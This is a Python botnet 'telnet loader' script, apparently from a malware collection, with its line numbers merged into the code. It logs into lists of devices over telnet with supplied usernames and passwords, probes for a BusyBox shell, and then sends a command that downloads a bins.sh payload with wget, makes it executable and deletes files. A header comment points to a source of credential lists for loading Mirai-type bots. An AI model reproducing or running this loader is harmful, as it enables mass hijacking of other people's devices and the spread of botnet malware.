Path: blob/master/Botnets/Scanning/TELNET/PY LOADER/simple_telnet_load.py
5038 views
#!/usr/bin/python1# Telnet loader | have fun Yo! This Loads Mostly BuZy BoXeS regulr format/Mirai.2# You Can Find Fresh TELNET List To Load @ http://godz56.tk/telnet-list/3# Simple Telnet Loader Ya d1g?45import sys, re, os, socket, time6from multiprocessing import Process78if len(sys.argv) < 2:9sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")1011cmd="cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; rm -rf *" #command to send12info = open(str(sys.argv[1]),'a+')1314def readUntil(tn, string, timeout=8):15buf = ''16start_time = time.time()17while time.time() - start_time < timeout:18buf += tn.recv(1024)19time.sleep(0.01)20if string in buf: return buf21raise Exception('TIMEOUT!')222324def infect(ip,username,password):25ip = str(ip).rstrip("\n")26username = username.rstrip("\n")27password = password.rstrip("\n")28try:29tn = socket.socket()30tn.settimeout(10)31tn.connect((ip,23))32except Exception:33tn.close()34try:35hoho = ''36hoho += readUntil(tn, "ogin")37if "ogin" in hoho:38tn.send(username + "\n")39time.sleep(0.09)40except Exception:41tn.close()42try:43hoho = ''44hoho += readUntil(tn, "assword:")45if "assword" in hoho:46tn.send(password + "\n")47time.sleep(0.8)48else:49pass50except Exception:51tn.close()52try:53prompt = ''54prompt += tn.recv(40960)55if ">" in prompt and "ONT" not in prompt:56try:57success = False58tn.send("cat | sh" + "\n")59time.sleep(0.1)60timeout = 861data = ["BusyBox", "Built-in"]62tn.send("sh" + "\n")63time.sleep(0.01)64tn.send("busybox" + "\r\n")65buf = ''66start_time = time.time()67while time.time() - start_time < timeout:68buf += tn.recv(40960)69time.sleep(0.01)70for info in data:71if info in buf and "unrecognized" not in buf:72success = True73break74except:75pass76elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:77try:78success = False79timeout = 880data = ["BusyBox", "Built-in"]81tn.send("sh" + "\n")82time.sleep(0.01)83tn.send("shell" + "\n")84time.sleep(0.01)85tn.send("help" + "\n")86time.sleep(0.01)87tn.send("busybox" + "\r\n")88buf = ''89start_time = time.time()90while time.time() - start_time < timeout:91buf += tn.recv(40960)92time.sleep(0.01)93for info in data:94if info in buf and "unrecognized" not in buf:95success = True96break97except:98pass99else:100tn.close()101if success == True:102try:103tn.send(cmd + "\n")104print "\033[32m[\033[31m+\033[32m] \033[33mCommand Sent!\033[32m %s"%(ip)105time.sleep(20)106tn.close()107except:108tn.close()109tn.close()110except Exception:111tn.close()112113for x in info:114try:115if ":23 " in x:116x = x.replace(":23 ", ":")117xinfo = x.split(":")118session = Process(target=infect, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),))119session.start()120ip=xinfo[0]121username=xinfo[1]122password=xinfo[2]123time.sleep(0.01)124except:125pass126session.join()127128